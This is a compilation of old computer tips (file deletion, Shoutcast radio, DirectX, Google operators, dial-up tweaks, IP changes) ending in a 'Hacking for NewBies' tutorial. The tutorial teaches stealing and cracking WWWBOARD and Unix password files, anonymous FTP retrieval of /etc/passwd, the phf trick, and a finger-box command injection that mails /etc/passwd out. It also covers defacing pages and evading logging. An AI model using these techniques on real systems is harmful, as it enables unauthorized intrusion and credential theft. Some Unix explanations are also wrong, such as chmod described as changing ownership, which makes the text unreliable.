Delete An "Undeletable" File :

Open a Command Prompt window and leave it open.
Close all open programs.
Click Start, Run and enter TASKMGR.EXE
Go to the Processes tab and End Process on Explorer.exe.
Leave Task Manager open.
Go back to the Command Prompt window and change to the directory the AVI (or other undeletable file) is located in.
At the command prompt type DEL where is the file you wish to delete.
Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell.
Close Task Manager.

Or you can try this

Open Notepad.exe

Click File>Save As..>

locate the folder where ur undeletable file is

Choose 'All files' from the file type box

click once on the file u wanna delete so its name appears in the 'filename' box

put a " at the start and end of the filename
(the filename should have the extension of the undeletable file so it will overwrite it)

click save,

It should ask u to overwrite the existing file, choose yes and u can delete it as normal

Here's a manual way of doing it. I'll take this off once you put into your first post zain.

1. Start
2. Run
3. Type: command
4. To move into a directory type: cd c:\*** (The stars stand for your folder)
5. If you cannot access the folder because it has spaces for example Program Files or Kazaa Lite folder you have to do the following. instead of typing in the full folder name only take the first 6 letters then put a ~ and then 1 without spaces. Example: cd c:\progra~1\kazaal~1
6. Once your in the folder the non-deletable file it in type in dir - a list will come up with everything inside.
7. Now to delete the file type in del ***.bmp, txt, jpg, avi, etc... And if the file name has spaces you would use the special 1st 6 letters followed by a ~ and a 1 rule. Example: if your file name was bad file.bmp you would type once in the specific folder thorugh command, del badfil~1.bmp and your file should be gone. Make sure to type in the correct extension.

How To Make Your Own Radio Station

Must HAVE Winamp (Any Version)
First, things First your speed has to be at least 256/64 kbps (which means Dial-up users, will have alot of latency, just dnt bother)
Second, your going to have to have a domain, an updated one with the current i.p active. (Could be anything e.g. My sig)

Now, Your gonna have to download the Shoutcast Files.

Go to to get the files.

Ok After downloading these, installing Both of them in any order i dnt care. Go to START>PROGRAM FILES>SHOUTcast DNAS>EDIT SHOUTCAST DNS CONFIG.

Ok your gonna have to Configure it:
Go Down and where it says password: change (that means your gonna have to change it to whatever, make sure u remember)
The Portbase: change it to whatever port you want it
Maxusers: (lets be realistic here, dnt put in 10000, like NXS's radio station) your bandwidth has to be extremely good, if your cable, 50 user max is ok, ADSL should stay below 10 users, and T1 connections should do whatever tickles there fantasy.


Go to OUTPUT, and then click on Connection, Through the ADDRESS, type your address which you have done through, PORT NUMBER, whatever u did in the EDIT.txt, and your password.

Then go to Encoder, and choose your quality of your music. Go back to OUTPU>OUTPUT CONFIG> YELLOW PAGES. this is your advertisemant information. dow hatever you like there.

Now Connect. to check that your Radio os on-line go to http://(your address that you added in the prefrence)

DirectX..... Explained...

Ever wondered just what that enigmatic name means?

Gaming and multimedia applications are some of the most satisfying programs you can get for your PC, but getting them to run properly isn’t always as easy as it could be. First, the PC architecture was never designed as a gaming platform. Second, the wide-ranging nature of the PC means that one person’s machine can be different from another. While games consoles all contain the same hardware, PCs don’t: the massive range of difference can make gaming a headache.

To alleviate as much of the pain as possible, Microsoft needed to introduce a common standard which all games and multimedia applications could follow – a common interface between the OS and whatever hardware is installed in the PC, if you like. This common interface is DirectX, something which can be the source of much confusion.

DirectX is an interface designed to make certain programming tasks much easier, for both the game developer and the rest of us who just want to sit down and play the latest blockbuster. Before we can explain what DirectX is and how it works though, we need a little history lesson.

DirectX history
Any game needs to perform certain tasks again and again. It needs to watch for your input from mouse, joystick or keyboard, and it needs to be able to display screen images and play sounds or music. That’s pretty much any game at the most simplistic level.

Imagine how incredibly complex this was for programmers developing on the early pre-Windows PC architecture, then. Each programmer needed to develop their own way of reading the keyboard or detecting whether a joystick was even attached, let alone being used to play the game. Specific routines were needed even to display the simplest of images on the screen or play a simple sound.

Essentially, the game programmers were talking directly to your PC’s hardware at a fundamental level. When Microsoft introduced Windows, it was imperative for the stability and success of the PC platform that things were made easier for both the developer and the player. After all, who would bother writing games for a machine when they had to reinvent the wheel every time they began work on a new game? Microsoft’s idea was simple: stop programmers talking directly to the hardware, and build a common toolkit which they could use instead. DirectX was born.

How it works
At the most basic level, DirectX is an interface between the hardware in your PC and Windows itself, part of the Windows API or Application Programming Interface. Let’s look at a practical example. When a game developer wants to play a sound file, it’s simply a case of using the correct library function. When the game runs, this calls the DirectX API, which in turn plays the sound file. The developer doesn’t need to know what type of sound card he’s dealing with, what it’s capable of, or how to talk to it. Microsoft has provided DirectX, and the sound card manufacturer has provided a DirectX-capable driver. He asks for the sound to be played, and it is – whichever machine it runs on.

From our point of view as gamers, DirectX also makes things incredibly easy – at least in theory. You install a new sound card in place of your old one, and it comes with a DirectX driver. Next time you play your favourite game you can still hear sounds and music, and you haven’t had to make any complex configuration changes.

Originally, DirectX began life as a simple toolkit: early hardware was limited and only the most basic graphical functions were required. As hardware and software has evolved in complexity, so has DirectX. It’s now much more than a graphical toolkit, and the term has come to encompass a massive selection of routines which deal with all sorts of hardware communication. For example, the DirectInput routines can deal with all sorts of input devices, from simple two-button mice to complex flight joysticks. Other parts include DirectSound for audio devices and DirectPlay provides a toolkit for online or multiplayer gaming.

DirectX versions
The current version of DirectX at time of writing is DirectX 9.0. This runs on all versions of Windows from Windows 98 up to and including Windows Server 2003 along with every revision in between. It doesn’t run on Windows 95 though: if you have a machine with Windows 95 installed, you’re stuck with the older and less capable 8.0a. Windows NT 4 also requires a specific version – in this case, it’s DirectX 3.0a.

With so many versions of DirectX available over the years, it becomes difficult to keep track of which version you need. In all but the most rare cases, all versions of DirectX are backwardly compatible – games which say they require DirectX 7 will happily run with more recent versions, but not with older copies. Many current titles explicitly state that they require DirectX 9, and won’t run without the latest version installed. This is because they make use of new features introduced with this version, although it has been known for lazy developers to specify the very latest version as a requirement when the game in question doesn’t use any of the new enhancements. Generally speaking though, if a title is version locked like this, you will need to upgrade before you can play. Improvements to the core DirectX code mean you may even see improvements in many titles when you upgrade to the latest build of DirectX. Downloading and installing DirectX need not be complex, either.

Upgrading DirectX
All available versions of Windows come with DirectX in one form or another as a core system component which cannot be removed, so you should always have at least a basic implementation of the system installed on your PC. However, many new games require the very latest version before they work properly, or even at all.

Generally, the best place to install the latest version of DirectX from is the dedicated section of the Microsoft Web site, which is found at As we went to press, the most recent build available for general download was DirectX 9.0b. You can download either a simple installer which will in turn download the components your system requires as it installs, or download the complete distribution package in one go for later offline installation.

Another good source for DirectX is games themselves. If a game requires a specific version, it’ll be on the installation CD and may even be installed automatically by the game’s installer itself. You won’t find it on magazine cover discs though, thanks to Microsoft’s licensing terms.

Diagnosing problems

Diagnosing problems with a DirectX installation can be problematic, especially if you don’t know which one of the many components is causing your newly purchased game to fall over. Thankfully, Microsoft provides a useful utility called the DirectX Diagnostic Tool, although this isn’t made obvious. You won’t find this tool in the Start Menu with any version of Windows, and each tends to install it in a different place.

The easiest way to use it is to open the Start Menu’s Run dialog, type in dxdiag and then click OK. When the application first loads, it takes a few seconds to interrogate your DirectX installation and find any problems. First, the DirectX Files tab displays version information on each one of the files your installation uses. The Notes section at the bottom is worth checking, as missing or corrupted files will be flagged here.

The tabs marked Display, Sound, Music, Input and Network all relate to specific areas of DirectX, and all but the Input tab provide tools to test the correct functioning on your hardware. Finally, the More Help tab provides a useful way to start the DirectX Troubleshooter, Microsoft’s simple linear problem solving tool for many common DirectX issues.

20 Great Google Secrets

A few things you might want to try with Google:
Hand type the following prefixes and note their utility:

link:url Shows other pages with links to that url.

related:url same as "what's related" on serps.

site:domain restricts search results to the given domain.

allinurl: shows only pages with all terms in the url.

inurl: like allinurl, but only for the next query word.

allintitle: shows only results with terms in title.

intitle: similar to allintitle, but only for the next word. "intitle:webmasterworld google" finds only pages with webmasterworld in the title, and google anywhere on the page.

cache:url will show the Google version of the passed url.

info:url will show a page containing links to related searches, backlinks, and pages containing the url. This is the same as typing the url into the search box.

spell: will spell check your query and search for it.

stocks: will lookup the search query in a stock index.

filetype: will restrict searches to that filetype. "-filetype:doc" to remove Microsoft word files.

daterange: is supported in Julian date format only. 2452384 is an example of a Julian date.

maps: If you enter a street address, a link to Yahoo Maps and to MapBlast will be presented.

phone: enter anything that looks like a phone number to have a name and address displayed. Same is true for something that looks like an address (include a name and zip code) "+www.somesite.+net"
(tells you how many pages of your site are indexed by google)

allintext: searches only within text of pages, but not in the links or page title

allinlinks: searches only within links, not text or title

I hope there is something new in here for you and maybe this infos will be helpfull for ya.

Improve your Dialup Modem Preformance

In India lots of peoples still using a dial-up connections for browsing the internet. The reasons for this is its cheaper then Broadband or less usage of internet.. I was using dial-up connections about 6 months ago and it really irritated me surfing with a dial-up connection.You can't assume that just because you connected at a speed like 48.3KBps that you will stay there. Today's modems automatically fall back to a lower speed if the line noise is too high to maintain a faster connection, but sometimes they fall back too soon or too far.
  Here's how to do it:

1. Click Start the button.
Select Settings.
Click Control Panel.
Double-click on the Modems icon.
Select your modem.
Click the Properties button.
Click the Connections tab.
Click the Advanced button.
In the "Extra settings" field, type S36=7
Click OK to save your settings.
This will force your modem to try to stay connected at high speeds in two different ways before dropping back to an asynchronous mode with auto speed buffering.

Block Images From Sites:

A single image is better than many words.But when it comes to dial-upits good 4 u to stick to words or you will have to wait for thousands of hours to load an image! You can block images getting loaded by changing your browser settings.
If you are a Firefox user, go to > Tools> >Page Info>> Permissions>> Load Images>> Uncheck “Use Default”>>Select “Block”.

Increasing Browser Cache Size:

This can be a best way to increase your connection speed! Let me explain you how this can help. When you visit any website, your computer stores some information from the website as cache memory. The more space you give for cache, the more it will store, and your internet surfing will become much speedy. 

Using Opera Turbo:

Opera has a good feature for slow internet connections is Opera Turbo. This uses a unique compression technology while loading a web page. You could check out more on this concept.
These are some tips, I have used while on a dial-up connection.

Change Your Ip In Less Then 1 Minute

1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
tongue.gif 18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back

Hacking for NewBies

Introduction:- OK, this file is intended solely for people who know very little about hacking, and when I say very little I mean very little.  Now, for those of you jumping happily around and screaming "Finally, I am gonna be a hacker!” stop jumping around and just sit down, take a few deep breaths, and just relax. 

After reading this file you should be able to hack
      1 - A WWWBOARD,
      2 - FTP/UNIX sites,
      3 - Website Tricks, and
      4 - Neat stuff/Misc. with much confidence.

Now, on to the disclaimer:
*** I will NOT be held responsible for what you do with this information. ***

NOTE:  All commands that are written in this file, with the exception of the John the Ripper commands, like "edit passwd" are for DOS, so if you have UNIX use the VI editor or something of the sort.

OK, now there is no specific table of contents of this file, I am pretty much just going to make it up as I go along.  Now, for you advanced hackers out there, I would recommend just leaving this file because you probably won't find much in this file that you don't already know.  All right, now that I'm done this stupid raving rant, I can start explaining how to go about learning what you want to learn.

1 - How to hack a WWWBOARD (Credit going to kM of for coming up with this brilliant idea, lets all applaud kM.)

OK, now obviously, in order to hack a WWWBOARD you need some sort of password file.  Now, defaultly the passwd file is in the WWWBOARD directory.  Most people who run the WWBOARD think to themselves "Hmm... What are the odds of some guy coming along and wanting to hack my WWWBOARD?"  Well, the odds are pretty damn good.  Now, when I say hack I mean both just to explore and just to do fun stuff like deleting files.  I am not saying deleting files is GOOD, but sometimes it is fun.  Anyway, the passwd file is almost always in the WWWBOARD directory, so lets take a real WWWBOARD.

The URL is  Now, if you go to that URL you will see a listing of files.  For the purpose of this file ONLY, and not malicious intent, I have not alerted the site of this problem.  Now, go to that URL and click on the file passwd.txt.  You will get two words that look like this:


The first word, WebAdmin, is the username of, obviously, the operator of this WWWBOARD.  The second "word" is the password, now, your probably sitting there looking at that word thinking to yourself "God damn, that is one funky password!" Well, stop thinking that because yes, that is the password, but it is encrypted.  So, you have to get a password cracker.  Now, I recommend one of two Password Crackers, either CrackerJack or John the Ripper, both of these can be found at or almost any other hacking site.  Once you go and get a password cracker you will most likely need a Word File.  Those to can be found at  Once you get the necessary stuff, you will need to copy the password file, WebAdmin:aepTOqxOi4i8U, and paste it into an empty notepad file or something of the sort.  Now, you are probably thinking to yourself again "Alright, now I can crack this bad-ass of a password and become a hacker!"  Sorry to rain on your parade, but no.  Yes, you might be able to crack the password, but then ask yourself one question, once I got the password, what do I do with it??  Do I go mail it to the server and say "Hey, I got your passwd, now give me complete access to your WWWBOARD!" Sorry, if you do that, you will be thinking for about 10 years in prison "What did I do wrong?" or you might become Bruno's sweet boy.  Sound like fun??  Didn't think so.  OK, now IF you crack the password file, and you get the Username and Password, unencrypted of course, paste it into a text document or something, then add this right onto it - ":-2:-2:anonymous NFS user:/:/bin/date"  What that will do will turn the WWWBOARD passwd file into a UNIX passwd file.  If you don't do that then you will never crack the file.  All in all the passwd file should look like this: "WebAdmin:aepTOqxOi4i8U:-2:-2:anonymous NFS user:/:/bin/date"  Now, I don't use CrackerJack, so if you got that I can't help you, but if you got John the Ripper then type in this command in DOS : "john -pwfile:xxxxx -wordfile:xxxxx"  XXXXX is whatever you named the passwd file or the word file.  For example, "john -pwfile:hehe.txt -wordfile:WF.txt"  It should just screw around for awhile and compute stuff and then if it is cracked you will get on the left side of the screen the passwd, WebBoard, and the Username, WebAdmin.  Now, WebAdmin and WebBoard are the two-default username and passwds.  Shows you about security these days.  Now, once you got those two things, go into the WWWBOARD directory and look for a file(s) called WWWADMIN.CGI or WWWADMIN.PL or WWWBOARD.CGI or even WWWBOARD.PL.  If none of those are there then you should examine the rest of the files in the directory.  When I was in the directory the file wasn't there, but I found it nevertheless, I am not going to tell you what it is, but once you find it you will get something like this:
WWWAdmin For WWWBoard

Choose your Method of modifying WWWBoard Below:
     Remove Files
          Remove Files
          Remove Files by Message Number
          Remove Files by Date
          Remove Files by Author

          Change Admin Password

That is, you guessed it, the little "Operating Station" for the WWWBOARD.  Now, to do any of those things you must have the Username and Passwd that you cracked.  So, click on an option and I think the rest is pretty much self-explanatory.  I really do not recommend trashing the WWWBOARD, some people depend on them to get a lot of questions and answers, etc.  I usually just read all the hidden messages and stuff like that and then just leave or tell the Operator of the WWWBOARD that his board is 100% trashable.

2 - Hacking an FTP site

OK, now hacking an FTP site WAS pretty easy a while ago, but nowadays most passwd files are shadowed which adds a little bit of extra security.  I'll explain it later.  OK, now, just before we start, the passwd file on UNIX machines is "passwd" not "passwd.txt."  OK, now, for the example site we are going to use  Now, with the information I am going to give you will not let you hack this site because the passwd file is shadowed, as is almost every single website, but nevertheless, if you "experience" hacking long enough, you will find the answer on how to get the file.  OK, now the first step is to do 1 of 2 things, get an FTP browser, like CuteFTP or BulletFTP or something, or you can use Win95 FTP which no one really knows about and how I found out is beyond my memory.  OK, I will explain the FTP browser way first.  OK, fire up the FTP Browser and for the host name plug in and for the port leave it at whatever it is, and hit connect, if there are any other options, then just screw around with them for a while and you'll figure it out.  Anyway, for the access type or whatever, click on Anonymous, and after you hit connect you'll get some directories in the Remote Host box, and some other neat stuff in Local Host.  Now, in the Remote Host section you want to double click on the "etc" directory if it is visible, if it is not, then see in the pull-down menus if there is an option called custom command.  If there is then click on it and for the command type in "cd etc" and it will either say "OK, CWD command accepted" or something along the lines of that or it will say "..:Access Denied" or even "Error:There is no file or directory by that name."  If you get the CWD command accepted then were in business.  In the /etc/ directory you should see a file called passwd. If you don’t then go back up to custom command an for the command type in "get /etc/passwd" and it will either say "OK, Port command successful" or it will say "..:Access Denied."  If you see that file then you can just drag the file over to local host and then click on the button "Start Download" or "Start Query" or something like that.

Now, if you have Win95 FTP you will have to go the Start Menu MS-DOS Prompt and type in "FTP WWW.FREESTUFF.COM" and it will show up a bunch of neat little messages like "connecting to" and other stuff.  Eventually you will get to the login screen where it will say "(USER)" or something interesting and long like that.  Now, for User type in Anonymous.  If it accepts it will say "Password" or it will say, "Anonymous access not allowed on this server." Now, obviously the FBI or CIA is not going to allow ftp access, so don't even try it.  Now, if you get to the password part, just type in something interesting like "Suckhole@" and the ftp server will fill in the rest.  You can make it anything you want, now you'll either get 1 of 2 messages, within a marginal error, "Cannot set guest privileges" or this "Anonymous access allowed, guest privileges set."  Those should be the only two that you get.  If there are any others, these messages are pretty much self explanatory.  Now, when you log on, the first thing you want to type is this command "pwd."  Just that, it will display the current directory that you are in.  You want it to say "/."  If it doesn't then type this command about 3 times "cd .."  That will take you down 1 directory/subdirectory.  Once you get to the "/" directory, type this command "ls -a."  It will list all the files in the directory, including the hidden ones.  Now, if you see something in the listing that says "etc" then type this command "cd etc."  That will move you into the "etc" directory.  Just to be sure, type in "pwd" again to make sure you’re in the "etc" directory.  If you are, then good, and type "ls -a" again and you should get some of these files: "Pwd.db, passwd, group, netconfig, net.config, or maybe even master.passwd."  The two files we are most interested in are "passwd" and "master.passwd."  I think what the files hold are kind of self-explanatory, but I'll tell you anyway, the "passwd" file holds all the usernames and passwd's that are on the entire system that your rooting around on.  The "master.passwd" file will only show up if the passwd file is shadowed, and it also means the SysAdmin is a complete brain puppy.  Forget "master.passwd" for now.  The command you want to issue to this system is to get the "passwd" file from their computer to your computer, and we do that by simply typing, "get passwd."  It should barf up some neat stuff, and then start transferring the file.  When you get back to the ftp prompt you will have the passwd file on your C:\ drive or wherever you initiated the "ftp" from.  Now, you just want to type in "quit."  That will log you off the server.  Now, for some reason right when you logoff the server you want to log back on just hit the "F3" key and it will pop up your last command.  Now, what you want to do is move the passwd file to wherever your passwd cracker is.  You can do that by typing, "move passwd X:\XX."  X is the drive that your passwd cracker is on and XX is the directory the passwd cracker is in.  Then it should say something like this: passwd -------> X:\XX -->OK" or something like that.  Once you have moved the passwd file go the passwd crackers directory and open up the file by typing "Edit passwd."  If the file has a bunch of stuff that looks like this:


If it looks like that, not all the x's, just one by the usernames, then the passwd file is shadowed and can’t be cracked, might as well delete it (More info on shadowed passwd's at the bottom of this file).  If it isn't shadow then just type in the passwd cracking command and get ready to hack a server!  I still highly recommend not doing any damage, there are many ways to get caught and just to help out the websites out there I will not tell you the ways that they can catch you, But don't worry, every 8 out of 10 servers that are aware of having an attempted hack don't report it and just go about there business.  Now, one more thing, if you get on the server with root access (basically root means that you can do anything, you are God on this system) then there are log files that record what happens to you, now, I think I am handing you more than enough information, so I am going to let you found out how to wipe your presence from the system, there are plenty of .txt files out there that tell you how to do it.

3 - Website Tricks

OK, now these Website tricks are "tricks" to get the passwd file without using FTP Browser or FTP Browsers.

The PHF Trick
OK, now this phf trick is a bit tricky (hehehe), not to use, but in the fact that some sites have added a command in there HTML code that if the phf command is issued then it will display a message like "Smile your on candid camera!" or it will say this "Your hack attempt has been logged and sent to the proper authorities."  Sit the hell down, drop that shotgun, unbar your door, and stop whimpering about how your going to get busted and raped in prison by Scruffy.  90% of the time they are just bullshitting you and to them the proper authorities could be out in deep-dish-yak-dick country or in Bum Fuck Egypt.  They just do that to scare the living shit out of Newbies or anybody who does that.  It is bullshit, so stop worrying.  OK, now on how to do the phf trick.  This trick practically never works anymore, but hey, its fun to try on old school sites and stuff like that.  I don't have an example site cause I really don't want to hunt down a site that this trick works on, so go find on yourself and don't send me e-mail about how you can't find a site that this doesn't work on.  In order to do this trick the site must have a /cgi-bin/ directory.  If it doesn't, then just leave it and forget the whole damn thing on that site, but if it does then keep reading.  I am going to make this quick, an example would be this:
That will bring up the passwd file, but 95% of the time you'll get this very common and even more very crappy error about how the file doesn't exist.  OK, that's the phf trick.  Now, onto the finger-box hacking trick.

Finger-Box Hacking
Again for the finger-box hack to work you have to find a website with the /cgi-bin/ directory.  I am just going to post the basic outline of commands for this cause my fingers are getting very tired of typing this :-).  An example of finger-box hack is this:

After you type that in you will get a box, if you don't then the finger isn't there or you don't have access to it, and in the box type this: ; /bin/mail < etc/passwd

Substitute where necessary, I have never actually gotten this trick to work cause I've never tried it more than once or twice cause I never needed it, but I knew about it so go crazy :-).

Rewriting A Web page Right From Your Web Browser
In order to do this trick again you need the /cgi-bin/ directory on your "target" site.  For example, type this when you have a website that has the /cgi-bin/ directory: "some stuff"%2

"Some stuff" is whatever you want to add basically, but beware, sometimes the web site can track you using the cookies that you sent while on there page, so just to be sure that they don't have cookie requests, if you have Netscape, then in the configuration somewhere, I forget where, check the box that says "Enable alert when accepting a cookie" or something that looks along the lines of that.

4 - Neat stuff/Misc.

The first thing I am going to cover is just some very interesting tricks that I know about AltaVista,  These tricks only involve you typing in something for the search query.  OK, here are a list of words and things that will bring up very interesting files from websites:

passwd (Note: supposed to bring up UNIX passwd files but I haven’t tried it, so if you try it send me some e-mail and let me know what happens).
wwwboard (Note: brings up the wwwboard directories so you can look for the passwd.txt file and other neat stuff).
master.passwd (Note: again, never tried it, so send me some feedback, let me know if it is even actually worth some1's time of typing it in, or just a hoax).

OK, those words work in about almost any search engine, but work best with AltaVista because AltaVista searches the links on the pages in it's archive for your word, and almost every page has a link to it's passwd file or something other that is of interest.

OK, now this next trick I thought of when I d/led HakTek to check it out it had a feature of deleting mail-bombed messages, now, if you don't have HakTek, and don't want it/can't find it, then just go into the mail directory of your web browser, and delete all the mail and the mail bomber has wasted his time.

Now I am just going to give you some UNIX commands and what they do, so if you want to be a UNIX fan or LINUX fan then check these out:
cd X - X = the directory that you want to switch to
ls - list all the files in a directory, excluding the hidden ones
ls -a - lists all the files in a directory, including the hidden ones
ls -A - lists all the hidden files in a directory, but not the . and ..
ls -ALF - lists the properties of all the files in a directory
cd .. - goes down one directory/subdirectory
cd . - absolutely nothing!
quit - log off the ftp site (obviously only on Win95 FTP)

Those commands listed above work on BOTH FTP sites AND UNIX machines, now here are commands that work ONLY on UNIX machines:

cat X - the file you want to view
vi - Visual Editor that you can use to edit files
edit - edit files (not sure on this one, works on some UNIX's)
ed - edit files (on all machines)
chmod - change the ownership of a file
help - list of commands that you can use (Note: * next to command means that it is not used on that certain UNIX machine)
man X - for further information on a CERTAIN UNIX command whereas X is the command that you want more information on this.
